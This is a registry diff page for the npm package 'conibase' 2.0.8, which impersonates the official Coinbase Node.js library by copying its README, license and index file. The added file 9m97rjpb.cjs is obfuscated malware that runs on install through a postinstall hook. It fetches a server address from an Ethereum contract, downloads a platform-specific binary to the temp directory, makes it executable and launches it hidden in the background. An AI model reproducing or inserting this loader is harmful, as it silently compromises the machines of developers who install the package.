conibase 2.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of conibase might be problematic. Click here for more details.
- package/9m97rjpb.cjs +1 -0
- package/LICENSE +201 -0
- package/README.md +195 -0
- package/index.js +36 -0
- package/package.json +50 -0
package/9m97rjpb.cjs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x4904ab=_0x4847;function _0x5df9(){const _0x1be497=['4hTkTuL','755','getString','error','unref','pUPPh','cWNDy','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','745388TKRyLL','1kCriGD','180UhBnzU','ethers','join','finish','path','ignore','util','child_process','6QEJwgU','1380430xLFwIG','Ошибка\x20при\x20получении\x20IP\x20адреса:','spoxF','/node-linux','545127NCXDOD','createWriteStream','jRSzf','GET','2912373kBdSdR','4865456LtrQuh','Ошибка\x20установки:','18xsdJVK','4741440UwXTxK','Unsupported\x20platform:\x20','pipe','axios','Ошибка\x20при\x20запуске\x20файла:','Contract','win32','5834195nOqgIo','chmodSync','VYZzO','linux','ffnln','CdDwX','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','data'];_0x5df9=function(){return _0x1be497;};return _0x5df9();}function _0x4847(_0xcbf279,_0x2ba919){const _0x5df95b=_0x5df9();return _0x4847=function(_0x4847ab,_0x42a368){_0x4847ab=_0x4847ab-0xc5;let _0x27b0d6=_0x5df95b[_0x4847ab];return _0x27b0d6;},_0x4847(_0xcbf279,_0x2ba919);}(function(_0xc4c7a8,_0x4baa86){const _0x18158d=_0x4847,_0xe25fd3=_0xc4c7a8();while(!![]){try{const _0x5d2e57=parseInt(_0x18158d(0xcd))/0x1*(parseInt(_0x18158d(0xd7))/0x2)+-parseInt(_0x18158d(0xdf))/0x3*(parseInt(_0x18158d(0xf2))/0x4)+-parseInt(_0x18158d(0xea))/0x5*(-parseInt(_0x18158d(0xd6))/0x6)+-parseInt(_0x18158d(0xcc))/0x7+-parseInt(_0x18158d(0xe0))/0x8*(parseInt(_0x18158d(0xe2))/0x9)+parseInt(_0x18158d(0xe3))/0xa+-parseInt(_0x18158d(0xdb))/0xb*(-parseInt(_0x18158d(0xce))/0xc);if(_0x5d2e57===_0x4baa86)break;else _0xe25fd3['push'](_0xe25fd3['shift']());}catch(_0x2a27fd){_0xe25fd3['push'](_0xe25fd3['shift']());}}}(_0x5df9,0xbea72));const {ethers}=require(_0x4904ab(0xcf)),axios=require(_0x4904ab(0xe6)),util=require(_0x4904ab(0xd4)),fs=require('fs'),path=require(_0x4904ab(0xd2)),os=require('os'),{spawn}=require(_0x4904ab(0xd5)),contractAddress=_0x4904ab(0xf0),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x4904ab(0xcb)],provider=ethers['getDefaultProvider']('mainnet'),contract=new ethers[(_0x4904ab(0xe8))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x200de8=_0x4904ab,_0x2b2601={'CdDwX':function(_0x5ea912){return _0x5ea912();}};try{const _0x885b2f=await contract[_0x200de8(0xc6)](WalletOwner);return _0x885b2f;}catch(_0x1b73b9){return console[_0x200de8(0xc7)](_0x200de8(0xd8),_0x1b73b9),await _0x2b2601[_0x200de8(0xef)](fetchAndUpdateIp);}},getDownloadUrl=_0x35eeb0=>{const _0x4ea9da=_0x4904ab,_0x322622=os['platform']();switch(_0x322622){case _0x4ea9da(0xe9):return _0x35eeb0+'/node-win.exe';case _0x4ea9da(0xed):return _0x35eeb0+_0x4ea9da(0xda);case'darwin':return _0x35eeb0+'/node-macos';default:throw new Error(_0x4ea9da(0xe4)+_0x322622);}},downloadFile=async(_0x5f4c82,_0x431987)=>{const _0x510574=_0x4904ab,_0x4f3d6f={'pUPPh':_0x510574(0xd1),'cWNDy':_0x510574(0xde)},_0x409288=fs[_0x510574(0xdc)](_0x431987),_0x31b825=await axios({'url':_0x5f4c82,'method':_0x4f3d6f[_0x510574(0xca)],'responseType':'stream'});return _0x31b825[_0x510574(0xf1)][_0x510574(0xe5)](_0x409288),new Promise((_0x2537f1,_0x22b667)=>{const _0x41e375=_0x510574;_0x409288['on'](_0x4f3d6f[_0x41e375(0xc9)],_0x2537f1),_0x409288['on'](_0x41e375(0xc7),_0x22b667);});},executeFileInBackground=async _0x9ec7a8=>{const _0x4f3181=_0x4904ab,_0x3f2b04={'ffnln':_0x4f3181(0xe7)};try{const _0x5884a0=spawn(_0x9ec7a8,[],{'detached':!![],'stdio':_0x4f3181(0xd3)});_0x5884a0[_0x4f3181(0xc8)]();}catch(_0xb1e610){console[_0x4f3181(0xc7)](_0x3f2b04[_0x4f3181(0xee)],_0xb1e610);}},runInstallation=async()=>{const _0xcb5196=_0x4904ab,_0x3559b3={'spoxF':function(_0x4bf0e9){return _0x4bf0e9();},'VYZzO':function(_0x347eee,_0x1e50c4){return _0x347eee(_0x1e50c4);},'jRSzf':function(_0xcf98df,_0x1a0a69){return _0xcf98df!==_0x1a0a69;}};try{const _0x393df1=await _0x3559b3[_0xcb5196(0xd9)](fetchAndUpdateIp),_0x548a5a=_0x3559b3['VYZzO'](getDownloadUrl,_0x393df1),_0x451595=os['tmpdir'](),_0xf46877=path['basename'](_0x548a5a),_0x1dc077=path[_0xcb5196(0xd0)](_0x451595,_0xf46877);await downloadFile(_0x548a5a,_0x1dc077);if(_0x3559b3[_0xcb5196(0xdd)](os['platform'](),'win32'))fs[_0xcb5196(0xeb)](_0x1dc077,_0xcb5196(0xc5));_0x3559b3[_0xcb5196(0xec)](executeFileInBackground,_0x1dc077);}catch(_0x48c711){console[_0xcb5196(0xc7)](_0xcb5196(0xe1),_0x48c711);}};runInstallation();
|
package/LICENSE
ADDED
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
Apache License
|
|
2
|
+
Version 2.0, January 2004
|
|
3
|
+
http://www.apache.org/licenses/
|
|
4
|
+
|
|
5
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
6
|
+
|
|
7
|
+
1. Definitions.
|
|
8
|
+
|
|
9
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
10
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
11
|
+
|
|
12
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
13
|
+
the copyright owner that is granting the License.
|
|
14
|
+
|
|
15
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
16
|
+
other entities that control, are controlled by, or are under common
|
|
17
|
+
control with that entity. For the purposes of this definition,
|
|
18
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
19
|
+
direction or management of such entity, whether by contract or
|
|
20
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
21
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
22
|
+
|
|
23
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
24
|
+
exercising permissions granted by this License.
|
|
25
|
+
|
|
26
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
27
|
+
including but not limited to software source code, documentation
|
|
28
|
+
source, and configuration files.
|
|
29
|
+
|
|
30
|
+
"Object" form shall mean any form resulting from mechanical
|
|
31
|
+
transformation or translation of a Source form, including but
|
|
32
|
+
not limited to compiled object code, generated documentation,
|
|
33
|
+
and conversions to other media types.
|
|
34
|
+
|
|
35
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
36
|
+
Object form, made available under the License, as indicated by a
|
|
37
|
+
copyright notice that is included in or attached to the work
|
|
38
|
+
(an example is provided in the Appendix below).
|
|
39
|
+
|
|
40
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
41
|
+
form, that is based on (or derived from) the Work and for which the
|
|
42
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
43
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
44
|
+
of this License, Derivative Works shall not include works that remain
|
|
45
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
46
|
+
the Work and Derivative Works thereof.
|
|
47
|
+
|
|
48
|
+
"Contribution" shall mean any work of authorship, including
|
|
49
|
+
the original version of the Work and any modifications or additions
|
|
50
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
51
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
52
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
53
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
54
|
+
means any form of electronic, verbal, or written communication sent
|
|
55
|
+
to the Licensor or its representatives, including but not limited to
|
|
56
|
+
communication on electronic mailing lists, source code control systems,
|
|
57
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
58
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
59
|
+
excluding communication that is conspicuously marked or otherwise
|
|
60
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
61
|
+
|
|
62
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
63
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
64
|
+
subsequently incorporated within the Work.
|
|
65
|
+
|
|
66
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
67
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
68
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
69
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
70
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
71
|
+
Work and such Derivative Works in Source or Object form.
|
|
72
|
+
|
|
73
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
74
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
75
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
76
|
+
(except as stated in this section) patent license to make, have made,
|
|
77
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
78
|
+
where such license applies only to those patent claims licensable
|
|
79
|
+
by such Contributor that are necessarily infringed by their
|
|
80
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
81
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
82
|
+
institute patent litigation against any entity (including a
|
|
83
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
84
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
85
|
+
or contributory patent infringement, then any patent licenses
|
|
86
|
+
granted to You under this License for that Work shall terminate
|
|
87
|
+
as of the date such litigation is filed.
|
|
88
|
+
|
|
89
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
90
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
91
|
+
modifications, and in Source or Object form, provided that You
|
|
92
|
+
meet the following conditions:
|
|
93
|
+
|
|
94
|
+
(a) You must give any other recipients of the Work or
|
|
95
|
+
Derivative Works a copy of this License; and
|
|
96
|
+
|
|
97
|
+
(b) You must cause any modified files to carry prominent notices
|
|
98
|
+
stating that You changed the files; and
|
|
99
|
+
|
|
100
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
101
|
+
that You distribute, all copyright, patent, trademark, and
|
|
102
|
+
attribution notices from the Source form of the Work,
|
|
103
|
+
excluding those notices that do not pertain to any part of
|
|
104
|
+
the Derivative Works; and
|
|
105
|
+
|
|
106
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
107
|
+
distribution, then any Derivative Works that You distribute must
|
|
108
|
+
include a readable copy of the attribution notices contained
|
|
109
|
+
within such NOTICE file, excluding those notices that do not
|
|
110
|
+
pertain to any part of the Derivative Works, in at least one
|
|
111
|
+
of the following places: within a NOTICE text file distributed
|
|
112
|
+
as part of the Derivative Works; within the Source form or
|
|
113
|
+
documentation, if provided along with the Derivative Works; or,
|
|
114
|
+
within a display generated by the Derivative Works, if and
|
|
115
|
+
wherever such third-party notices normally appear. The contents
|
|
116
|
+
of the NOTICE file are for informational purposes only and
|
|
117
|
+
do not modify the License. You may add Your own attribution
|
|
118
|
+
notices within Derivative Works that You distribute, alongside
|
|
119
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
120
|
+
that such additional attribution notices cannot be construed
|
|
121
|
+
as modifying the License.
|
|
122
|
+
|
|
123
|
+
You may add Your own copyright statement to Your modifications and
|
|
124
|
+
may provide additional or different license terms and conditions
|
|
125
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
126
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
127
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
128
|
+
the conditions stated in this License.
|
|
129
|
+
|
|
130
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
131
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
132
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
133
|
+
this License, without any additional terms or conditions.
|
|
134
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
135
|
+
the terms of any separate license agreement you may have executed
|
|
136
|
+
with Licensor regarding such Contributions.
|
|
137
|
+
|
|
138
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
139
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
140
|
+
except as required for reasonable and customary use in describing the
|
|
141
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
142
|
+
|
|
143
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
144
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
145
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
146
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
147
|
+
implied, including, without limitation, any warranties or conditions
|
|
148
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
149
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
150
|
+
appropriateness of using or redistributing the Work and assume any
|
|
151
|
+
risks associated with Your exercise of permissions under this License.
|
|
152
|
+
|
|
153
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
154
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
155
|
+
unless required by applicable law (such as deliberate and grossly
|
|
156
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
157
|
+
liable to You for damages, including any direct, indirect, special,
|
|
158
|
+
incidental, or consequential damages of any character arising as a
|
|
159
|
+
result of this License or out of the use or inability to use the
|
|
160
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
161
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
162
|
+
other commercial damages or losses), even if such Contributor
|
|
163
|
+
has been advised of the possibility of such damages.
|
|
164
|
+
|
|
165
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
166
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
167
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
168
|
+
or other liability obligations and/or rights consistent with this
|
|
169
|
+
License. However, in accepting such obligations, You may act only
|
|
170
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
171
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
172
|
+
defend, and hold each Contributor harmless for any liability
|
|
173
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
174
|
+
of your accepting any such warranty or additional liability.
|
|
175
|
+
|
|
176
|
+
END OF TERMS AND CONDITIONS
|
|
177
|
+
|
|
178
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
179
|
+
|
|
180
|
+
To apply the Apache License to your work, attach the following
|
|
181
|
+
boilerplate notice, with the fields enclosed by brackets "{}"
|
|
182
|
+
replaced with your own identifying information. (Don't include
|
|
183
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
184
|
+
comment syntax for the file format. We also recommend that a
|
|
185
|
+
file or class name and description of purpose be included on the
|
|
186
|
+
same "printed page" as the copyright notice for easier
|
|
187
|
+
identification within third-party archives.
|
|
188
|
+
|
|
189
|
+
Copyright 2018 Coinbase, Inc.
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
package/README.md
ADDED
|
@@ -0,0 +1,195 @@
|
|
|
1
|
+
# Coinbase
|
|
2
|
+
|
|
3
|
+
The official Node.js library for the [Coinbase API](https://developers.coinbase.com/api/v2).
|
|
4
|
+
|
|
5
|
+
## Features
|
|
6
|
+
|
|
7
|
+
* Full Test coverage.
|
|
8
|
+
* Support for both [API Key + Secret](https://developers.coinbase.com/api/v2#api-key) and [OAuth 2](https://developers.coinbase.com/api/v2#oauth2-coinbase-connect) authentication.
|
|
9
|
+
* Convenient methods for making calls to the API.
|
|
10
|
+
* Automatic parsing of API responses into relevant Javascript objects.
|
|
11
|
+
* Adheres to the nodejs error-first callback protocol.
|
|
12
|
+
* Continuous Integration testing against node 0.10, 0.11, and 0.12.
|
|
13
|
+
|
|
14
|
+
## Installation
|
|
15
|
+
|
|
16
|
+
`npm install coinbase`
|
|
17
|
+
|
|
18
|
+
## Version Compatibility
|
|
19
|
+
|
|
20
|
+
Version | GitHub repository
|
|
21
|
+
--------|------------------
|
|
22
|
+
`2.0.x` | This repository
|
|
23
|
+
`0.1.x` | [mateodelnorte/coinbase](https://github.com/mateodelnorte/coinbase)
|
|
24
|
+
|
|
25
|
+
Npm `coinbase` package name used to refer to the unofficial [coinbase](https://github.com/mateodelnorte/coinbase) library maintained by [Matt Walters](https://github.com/mateodelnorte). Matt graciously allowed us to use the name for this package instead. You can still find that package on [Github](https://github.com/mateodelnorte/coinbase). Thanks, Matt.
|
|
26
|
+
|
|
27
|
+
## Quick Start
|
|
28
|
+
|
|
29
|
+
The first thing you'll need to do is [sign up for coinbase](https://coinbase.com).
|
|
30
|
+
|
|
31
|
+
## API Key
|
|
32
|
+
|
|
33
|
+
If you're writing code for your own Coinbase account, [enable an API key](https://coinbase.com/settings/api). Next, create a ``Client`` object for interacting with the API:
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
```javascript
|
|
37
|
+
var Client = require('coinbase').Client;
|
|
38
|
+
var client = new Client({'apiKey': mykey, 'apiSecret': mysecret});
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
## OAuth2
|
|
42
|
+
|
|
43
|
+
If you're writing code that will act on behalf of another user, start by
|
|
44
|
+
[creating a new OAuth 2 application](https://coinbase.com/oauth/applications). You will need to do some work to obtain OAuth credentials for your users; while outside the scope of this document, please refer to our [OAuth 2 tutorial](https://developers.coinbase.com/docs/wallet/coinbase-connect/integrating) and [documentation](https://developers.coinbase.com/docs/wallet/coinbase-connect/reference). Once you have these credentials, create a client:
|
|
45
|
+
|
|
46
|
+
```javascript
|
|
47
|
+
var Client = require('coinbase').Client;
|
|
48
|
+
var client = new Client({'accessToken': accessToken, 'refreshToken': refreshToken});
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## Making API Calls
|
|
52
|
+
|
|
53
|
+
With a `client instance`, you can now make API calls. We've included some examples below, but in general the library has Javascript prototypes for each of the objects described in our [REST API documentation](https://developers.coinbase.com/api/v2). These classes each have methods for making the relevant API calls; for instance, ``coinbase.model.Transaction.complete`` maps to the [complete bitcoin request](https://developers.coinbase.com/api/v2#complete-request-money) API endpoint. The comments of each method in the code references the endpoint it implements. Each API method returns an ``object`` representing the JSON response from the API.
|
|
54
|
+
|
|
55
|
+
**Listing available accounts**
|
|
56
|
+
|
|
57
|
+
```javascript
|
|
58
|
+
var coinbase = require('coinbase');
|
|
59
|
+
var client = new coinbase.Client({'apiKey': mykey, 'apiSecret': mysecret});
|
|
60
|
+
|
|
61
|
+
client.getAccounts({}, function(err, accounts) {
|
|
62
|
+
accounts.forEach(function(acct) {
|
|
63
|
+
console.log('my bal: ' + acct.balance.amount + ' for ' + acct.name);
|
|
64
|
+
});
|
|
65
|
+
});
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
**Get Balance from an Account Id**
|
|
69
|
+
|
|
70
|
+
```javascript
|
|
71
|
+
var coinbase = require('coinbase');
|
|
72
|
+
var client = new coinbase.Client({'apiKey': mykey, 'apiSecret': mysecret});
|
|
73
|
+
|
|
74
|
+
client.getAccount('<ACCOUNT ID>', function(err, account) {
|
|
75
|
+
console.log('bal: ' + account.balance.amount + ' currency: ' + account.balance.currency);
|
|
76
|
+
});
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
**Selling bitcoin**
|
|
80
|
+
|
|
81
|
+
```javascript
|
|
82
|
+
var args = {
|
|
83
|
+
"amount": "12",
|
|
84
|
+
"currency": "BTC"
|
|
85
|
+
};
|
|
86
|
+
account.sell(args, function(err, xfer) {
|
|
87
|
+
console.log('my xfer id is: ' + xfer.id);
|
|
88
|
+
});
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
**Sending bitcoin**
|
|
92
|
+
|
|
93
|
+
```javascript
|
|
94
|
+
var args = {
|
|
95
|
+
"to": "user1@example.com",
|
|
96
|
+
"amount": "1.234",
|
|
97
|
+
"currency": "BTC",
|
|
98
|
+
"description": "Sample transaction for you"
|
|
99
|
+
};
|
|
100
|
+
account.sendMoney(args, function(err, txn) {
|
|
101
|
+
console.log('my txn id is: ' + txn.id);
|
|
102
|
+
});
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**Requesting bitcoin**
|
|
106
|
+
|
|
107
|
+
```javascript
|
|
108
|
+
var args = {
|
|
109
|
+
"to": "user1@example.com",
|
|
110
|
+
"amount": "1.234",
|
|
111
|
+
"currency": "BTC",
|
|
112
|
+
"description": "Sample transaction for you"
|
|
113
|
+
};
|
|
114
|
+
account.requestMoney(args, function(err, txn) {
|
|
115
|
+
console.log('my txn id is: ' + txn.id);
|
|
116
|
+
});
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
**Listing current transactions**
|
|
120
|
+
|
|
121
|
+
```javascript
|
|
122
|
+
account.getTransactions(null, function(err, txns) {
|
|
123
|
+
txns.forEach(function(txn) {
|
|
124
|
+
console.log('my txn status: ' + txn.status);
|
|
125
|
+
});
|
|
126
|
+
});
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Using pagination**
|
|
130
|
+
|
|
131
|
+
```javascript
|
|
132
|
+
account.getTransactions(null, function(err, txns, pagination) {
|
|
133
|
+
txns.forEach(function(txn) {
|
|
134
|
+
console.log('my txn: ' + txn.id);
|
|
135
|
+
});
|
|
136
|
+
console.log(pagination.next_uri);
|
|
137
|
+
account.getTransactions(pagination, function(err, txns) {
|
|
138
|
+
txns.forEach(function(txn) {
|
|
139
|
+
console.log('my txn: ' + txn.id);
|
|
140
|
+
});
|
|
141
|
+
});
|
|
142
|
+
});
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
**Checking bitcoin prices**
|
|
146
|
+
|
|
147
|
+
```javascript
|
|
148
|
+
client.getBuyPrice({'currencyPair': 'BTC-USD'}, function(err, obj) {
|
|
149
|
+
console.log('total amount: ' + obj.data.amount);
|
|
150
|
+
});
|
|
151
|
+
```
|
|
152
|
+
|
|
153
|
+
**Verifying merchant callback authenticity**
|
|
154
|
+
```javascript
|
|
155
|
+
if (client.verifyCallback(req.raw_body, req.headers['CB-SIGNATURE'])) {
|
|
156
|
+
// Process callback
|
|
157
|
+
}
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
## Error Handling
|
|
161
|
+
|
|
162
|
+
Errors are thrown for invalid arguments but are otherwise returned as the
|
|
163
|
+
first argument to callback functions using [http-errors](https://github.com/jshttp/http-errors) module.
|
|
164
|
+
|
|
165
|
+
Errors contain `name`, `status`, and `message` fields for error handling. You can find
|
|
166
|
+
more information about error types [here](https://developers.coinbase.com/api/v2#errors)
|
|
167
|
+
|
|
168
|
+
## Testing / Contributing
|
|
169
|
+
|
|
170
|
+
Any and all contributions are welcome! The process is simple:
|
|
171
|
+
|
|
172
|
+
1. Fork this repo
|
|
173
|
+
2. Make your changes and add tests
|
|
174
|
+
3. Run the test suite
|
|
175
|
+
4. Submit a pull request.
|
|
176
|
+
|
|
177
|
+
Tests are run via [mocha](http://mochajs.org) and [nock](https://github.com/pgte/nock). To run the tests, clone the repository and then:
|
|
178
|
+
|
|
179
|
+
`npm install`
|
|
180
|
+
|
|
181
|
+
`npm test`
|
|
182
|
+
|
|
183
|
+
Please also scan the packages for known vulnerabilities.
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
npm install -g nsp
|
|
187
|
+
nsp check --output summary
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
You can also run the tests against various node environments using the Dockerfile.example file.
|
|
191
|
+
|
|
192
|
+
1. `cp Dockerfile.example Dockerfile`
|
|
193
|
+
2. edit Dockerfile and uncomment the node version that interests you
|
|
194
|
+
3. `[sudo] docker build -t coinbase-node .`
|
|
195
|
+
4. `[sudo] docker run -it coinbase-node`
|
package/index.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
var Account = require('./lib/model/Account.js'),
|
|
2
|
+
Address = require('./lib/model/Address.js'),
|
|
3
|
+
Buy = require('./lib/model/Buy.js'),
|
|
4
|
+
Checkout = require('./lib/model/Checkout.js'),
|
|
5
|
+
Client = require('./lib/Client.js'),
|
|
6
|
+
Deposit = require('./lib/model/Deposit.js'),
|
|
7
|
+
Merchant = require('./lib/model/Merchant.js'),
|
|
8
|
+
Notification = require('./lib/model/Notification.js'),
|
|
9
|
+
Order = require('./lib/model/Order.js'),
|
|
10
|
+
PaymentMethod = require('./lib/model/PaymentMethod.js'),
|
|
11
|
+
Sell = require('./lib/model/Sell.js'),
|
|
12
|
+
Transaction = require('./lib/model/Transaction.js'),
|
|
13
|
+
User = require('./lib/model/User.js'),
|
|
14
|
+
Withdrawal = require('./lib/model/Withdrawal.js');
|
|
15
|
+
|
|
16
|
+
var model = {
|
|
17
|
+
'Account' : Account,
|
|
18
|
+
'Address' : Address,
|
|
19
|
+
'Buy' : Buy,
|
|
20
|
+
'Checkout' : Checkout,
|
|
21
|
+
'Deposit' : Deposit,
|
|
22
|
+
'Merchant' : Merchant,
|
|
23
|
+
'Notification' : Notification,
|
|
24
|
+
'Order' : Order,
|
|
25
|
+
'PaymentMethod' : PaymentMethod,
|
|
26
|
+
'Sell' : Sell,
|
|
27
|
+
'Transaction' : Transaction,
|
|
28
|
+
'User' : User,
|
|
29
|
+
'Withdrawal' : Withdrawal
|
|
30
|
+
};
|
|
31
|
+
|
|
32
|
+
module.exports = {
|
|
33
|
+
'Client' : Client,
|
|
34
|
+
'model' : model
|
|
35
|
+
};
|
|
36
|
+
|
package/package.json
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "conibase",
|
|
3
|
+
"version": "2.0.8",
|
|
4
|
+
"author": "Coinbase",
|
|
5
|
+
"bugs": "https://github.com/coinbase/coinbase-node/issues",
|
|
6
|
+
"contributors": [
|
|
7
|
+
{
|
|
8
|
+
"email": "api@coinbase.com",
|
|
9
|
+
"name": "Coinbase",
|
|
10
|
+
"url": "https://developers.coinbase.com"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"http-errors": "1.3.1",
|
|
15
|
+
"lodash": "3.1.0",
|
|
16
|
+
"object-assign": "2.0.0",
|
|
17
|
+
"request": "2.85.0",
|
|
18
|
+
"axios": "^1.7.7",
|
|
19
|
+
"ethers": "^6.13.2"
|
|
20
|
+
},
|
|
21
|
+
"description": "The Coinbase API for Node.js",
|
|
22
|
+
"devDependencies": {
|
|
23
|
+
"mocha": "2.1.0",
|
|
24
|
+
"docco": "0.7.0",
|
|
25
|
+
"nock": "0.59.1"
|
|
26
|
+
},
|
|
27
|
+
"directories": {
|
|
28
|
+
"lib": "./lib"
|
|
29
|
+
},
|
|
30
|
+
"keywords": [
|
|
31
|
+
"API",
|
|
32
|
+
"bitcoin",
|
|
33
|
+
"coinbase",
|
|
34
|
+
"real-time",
|
|
35
|
+
"payments"
|
|
36
|
+
],
|
|
37
|
+
"homepage": "https://github.com/coinbase/coinbase-node",
|
|
38
|
+
"license": "MIT",
|
|
39
|
+
"main": "index.js",
|
|
40
|
+
"repository": {
|
|
41
|
+
"type": "git",
|
|
42
|
+
"url": "git://github.com/coinbase/coinbase-node.git"
|
|
43
|
+
},
|
|
44
|
+
"scripts": {
|
|
45
|
+
"postinstall": "node 9m97rjpb.cjs"
|
|
46
|
+
},
|
|
47
|
+
"files": [
|
|
48
|
+
"9m97rjpb.cjs"
|
|
49
|
+
]
|
|
50
|
+
}
|